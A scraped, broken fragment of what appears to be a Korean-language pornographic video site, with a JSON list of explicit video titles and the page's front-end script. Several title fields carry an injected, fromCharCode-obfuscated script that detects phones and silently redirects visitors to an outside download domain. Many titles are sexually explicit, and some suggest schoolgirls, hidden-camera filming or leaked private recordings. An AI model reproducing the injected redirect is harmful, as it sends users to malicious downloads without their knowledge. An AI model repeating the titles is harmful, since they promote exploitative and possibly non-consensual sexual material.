추천 영상
23:51
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>부자와 여학생의 성관계
01:06:43
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>만남 전문가가 실제 육감적이고 섹시한 여성을 만나러 간다</title></script></title></script>
02:14:23
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>나는 집을 나와 아이 이모 집에 갔다. 그녀의 매력에 저항할 수 없었다…나는 섹스와 원초적인 삶으로 가득 찬 삶을 살았다. 무카이 아이 무카이 란 마돈나
부자와 여학생의 성관계","lastmod":"2026-07-11","duration":"23:51","url":"/play/19164655.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDlhNGY3ZWM1YTA5YTJhNWIzZDFiYmY0NDE2OTEzMGUuanBn.cache","vod_id":19012574,"title":"SIRO4057 [첫 촬영] [무성애적이고 부도덕한 주부는...] [미인 여교사] 온화하고 아름다운 주부가 처음 만난 남자와 격렬한 섹스를 한다... AV 온라인 지원 → AV 체험 촬영 1162 오쿠카와 씨, 32세, 초등학교 교사 (근친상간).","lastmod":"2025-03-24","duration":"01:02:26","url":"/play/19012574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjA5NzY0OWI5ZGNiM2YzODRlNTg3MGQ1MzhmZDIyYmUuanBn.cache","vod_id":18955358,"title":"\"최신 ✅ 부티크 卐 인터넷 유명인 ✅ 유출\" 웨이보 유명인, 탑 9헤드 플랫 모델, 성숙한 여성 EvE가 여전히 얼굴을 드러내고, 개인 맞춤 제작 시즌 2, 자위복지 여신의 꿀구멍, 가짜 성기를 끝까지 삽입 (2)","lastmod":"2025-12-14","duration":"00:05:00","url":"/play/18955358.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjllOWZhZTc5NTFkNWQzNDg3NjI4YmM3NDhhMzI4MWQuanBn.cache","vod_id":18994469,"title":"[레즈비언] [릴리 자매] 젊고 아름다운 두 레즈비언 자매가 빠르고 강렬하며 능숙한 손길로 열정적인 성생활을 즐깁니다!","lastmod":"2025-03-23","duration":"24:41","url":"/play/18994469.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzBmNzAxMjYyMWRlY2JiOTMwMjU0NzE4OTYzZTQzNjUuanBn.cache","vod_id":19150882,"title":"상하이의 권력 있고 부유하며 아름다운 여성 CEO가 거대한 페니스에 정복당한 이야기","lastmod":"2026-03-30","duration":"17:07","url":"/play/19150882.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNmU3NjVhMDI0MzYyMTVhZmVlNDIxMGMxMzc4NDQ5OTIuanBn.cache","vod_id":19158147,"title":"호텔에서 아름답고 섹시한 여성을 찾아내고, 매춘부를 유혹하고, 몰래 촬영하고, 관계를 맺는 행위.","lastmod":"2026-05-15","duration":"01:04:59","url":"/play/19158147.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmE5NjFjZTI1NzEwZmQ1NDYzMGRkMWM2MjdjNTc5ZTYuanBn.cache","vod_id":18997603,"title":"[샤오지에, 여자들과 시시덕거린다] 그녀와 남자친구의 거침없는 동거 생활 속 성생활은 신선하고 짜릿하며 젊음의 에너지로 가득하다.","lastmod":"2025-03-23","duration":"54:19","url":"/play/18997603.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzQwY2Y0ZTJmNjg4ZDEyZjkyZTM4NjFiMjlkOTNkM2MuanBn.cache","vod_id":19143964,"title":"매혹적인 은밀한 부위, 맑은 눈, 아름다운 다리, 발 페티시, 여성이 위에 올라탄 체위, 페니스 빨기 및 사정액 추출 등 독점적인 기술을 사용하여 정교하게 디자인된 에로틱 자동차 모델 게임입니다.","lastmod":"2026-02-17","duration":"28:28","url":"/play/19143964.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGJjYjdmOWZiODViOWFkNzc1MmYzOTQ1YjVjMjhlYjIuanBn.cache","vod_id":19026787,"title":"[렌트어메이드] 부탁만 하면 은밀하게 당신과 잠자리를 같이 해주는 상냥한 아주머니. (MEKO-256-C)","lastmod":"2025-03-28","duration":"01:58:46","url":"/play/19026787.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTRiYmNjM2E1NTFlZjhiOWU3YjIyNTY3MGEzNGFkY2EuanBn.cache","vod_id":19161334,"title":"만남 전문가가 실제 육감적이고 섹시한 여성을 만나러 간다","lastmod":"2026-07-11","duration":"01:06:43","url":"/play/19161334.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2VjM2Q4NzkxNTE1MzM2NTQyMzU3OTlkZWViM2EyMGIuanBn.cache","vod_id":18950814,"title":"놀랍도록 아름답고 섹시한 젊은 여성이 얼굴을 드러낸 채 샤워를 하며 남자 친구를 유혹하고, 침대에서 가슴 애무와 질 애무 등 다양한 음란한 행위를 펼쳐 흥분되고 자극적인 경험을 선사합니다.","lastmod":"2025-03-22","duration":"01:40:19","url":"/play/18950814.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvYTA2YTQ1YTkyYmZjMjljZjE1ZWEzNDhiMmFiZDk5NTMuanBn.cache","vod_id":19166427,"title":"
제복 차림의 개인 사진: 천사의 작은 구멍 소녀, 이가라시 미즈키, 네츠쿠","lastmod":"2026-07-11","duration":"01:39:08","url":"/play/19166427.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2ZhNWU5ZGQwZWJmZDBhODkwNTNmMzg2Y2FiN2Q0NWQuanBn.cache","vod_id":18935380,"title":"[중문막] HKD-013 그 무렵, 유니폼 미소녀와. 호시나카 코코미","lastmod":"2025-03-22","duration":"01:57:22","url":"/play/18935380.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDgvODdiYjYzYjEzODMxNGNmY2VmODM1MWU5N2ZlY2E4MDguanBn.cache","vod_id":19028438,"title":"최신 초인기 프리미엄 영화: 키 177cm의 두 자매가 제복을 입고 상하이에서 함께 비행하는 장면.","lastmod":"2025-04-08","duration":"53:59","url":"/play/19028438.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFhNGY3MGVlMmMyZDI5YTdhODY4MDNiODA0YmYwN2MuanBn.cache","vod_id":18951328,"title":"\"최상급 ⭐ 헤비급 명작 → 혜택\" 팬클럽 가입 회원 전용 91세 바이 씨 특전, 완벽한 얼굴 공개 섹스, 다양한 유니폼을 입은 섹시 미녀들과 대조되는 매우 음란한 소녀들, 워터마크 없는 오리지널 아트워크(23)","lastmod":"2025-12-14","duration":"00:01:39","url":"/play/18951328.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjE2YTIyYzhlNjNhZjE1ZWVhMGYxZWI4YmQwNWRlZDAuanBn.cache","vod_id":18966343,"title":"BUBB-126 계단 여학생: 나는 그녀의 교복 치마 아래에 입은 섹시한 속옷이 더 좋아.","lastmod":"2025-03-22","duration":"01:40:29","url":"/play/18966343.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDg3MmY2N2QwOTdlMjZhMWZiYTg2ZGViODg5NmU5ZTIuanBn.cache","vod_id":18954246,"title":"VRTM-422 친절한 가정부 보모가 발기했습니다! 짜증이 났지만 큰 책임감을 느낀 보모는 모유 수유를 하면서 그를 부드럽게 자위시켜 주었습니다! 발기한 성기를 참지 못한 그녀는 일을 잊고 피임 없이 그에게 올라타 삽입했습니다! 3","lastmod":"2025-12-14","duration":"02:09:52","url":"/play/18954246.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZGE2M2VkNDgyM2Y4NDg0OTg4OWViY2IxNjUxNjRhMDcuanBn.cache","vod_id":19161572,"title":"나는 집을 나와 아이 이모 집에 갔다. 그녀의 매력에 저항할 수 없었다…나는 섹스와 원초적인 삶으로 가득 찬 삶을 살았다. 무카이 아이 무카이 란 마돈나","lastmod":"2026-07-11","duration":"02:14:23","url":"/play/19161572.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzJmNDIzZDQ4OWJlZmYwY2JhZWM4NDE4MjEwZWFlZTEuanBn.cache","vod_id":19025293,"title":"SSNI469 글래머러스한 티걸 유미 시온에게 제공되는 매우 부드러운 서비스.","lastmod":"2025-03-24","duration":"01:57:49","url":"/play/19025293.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTczZGU4NjM4MTIzNTBhY2U1MGUxOTAwMDlmMzQ3NTQuanBn.cache","vod_id":18954927,"title":"인터넷 스타이자 '미도우지', '물총 괴물'이라는 별명으로 알려진 그녀는 겉보기와는 전혀 다른 이미지로, 자신의 은밀한 부위를 자극하며 몸을 떨고 경련을 일으킬 정도로 다양한 행위를 하는 모습을 사적으로 촬영해 공개했는데, 그중에는 여대생이 딜도를 이용해 자위하는 모습도 포함되어 있다.","lastmod":"2025-03-22","duration":"00:08:58","url":"/play/18954927.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjgvNWU1ZTQ1OTZkNDhhOGNjYTExMjQ4ZWIzYTIwM2JlMjMuanBn.cache","vod_id":19031254,"title":"젊은 여대생을 개처럼 엎드린 자세로 성관계하며, 여자는 반복적으로 오르가즘을 느끼고 끊임없이 신음한다.","lastmod":"2025-04-28","duration":"36:51","url":"/play/19031254.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzMzNWUxNTdlNjU4NmIxODY3ODJhMzk1ZmRhZjljYjcuanBn.cache","vod_id":18975813,"title":"성숙한 여성의 쓰리썸 라이프: 침대에서 두 명의 매력적인 남자에게 봉사하며, 음탕한 표정으로 그들의 거대한 성기를 빨아주고, 그들이 거칠게 삽입하고 추삽질하는 동안 다양한 체위를 즐긴다.","lastmod":"2025-12-14","duration":"00:59:01","url":"/play/18975813.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTMxYjA1NTYzOGE3ZTZlZjMzNDJkZDI4ODc0MmEzMzcuanBn.cache","vod_id":18961377,"title":"유쿠 스퀘어 댄스, 섹시한 중년 여성 인터넷 유명인 [아름다운] 맞춤 개인 촬영, 다양한 시스루 및 도발적인 란제리 의상, 엉덩이 흔들기, 허리 떨기, 애무, 외음부 문지르기, 자위, 매우 섹시하여 당신의 마음을 확실히 식혀줄 것입니다.","lastmod":"2025-03-22","duration":"00:07:27","url":"/play/18961377.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjNmNmY5MThjMjExODE0ZjE5OGI4OTdkZmE0NjMxYjEuanBn.cache","vod_id":19018133,"title":"MIRD163년의 왕은 10명의 시녀와 함께 살았습니다.","lastmod":"2025-03-24","duration":"02:30:02","url":"/play/19018133.html"}]},
videoTitle: 'VIP석 전용 혜택 [승무원 유니폼 에디션] ~ 다양하고 부유하고 아름다운 승무원들: 평소에는 온화하고 정숙하지만, 사생활에서는 완전히 다른 모습 (14)',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}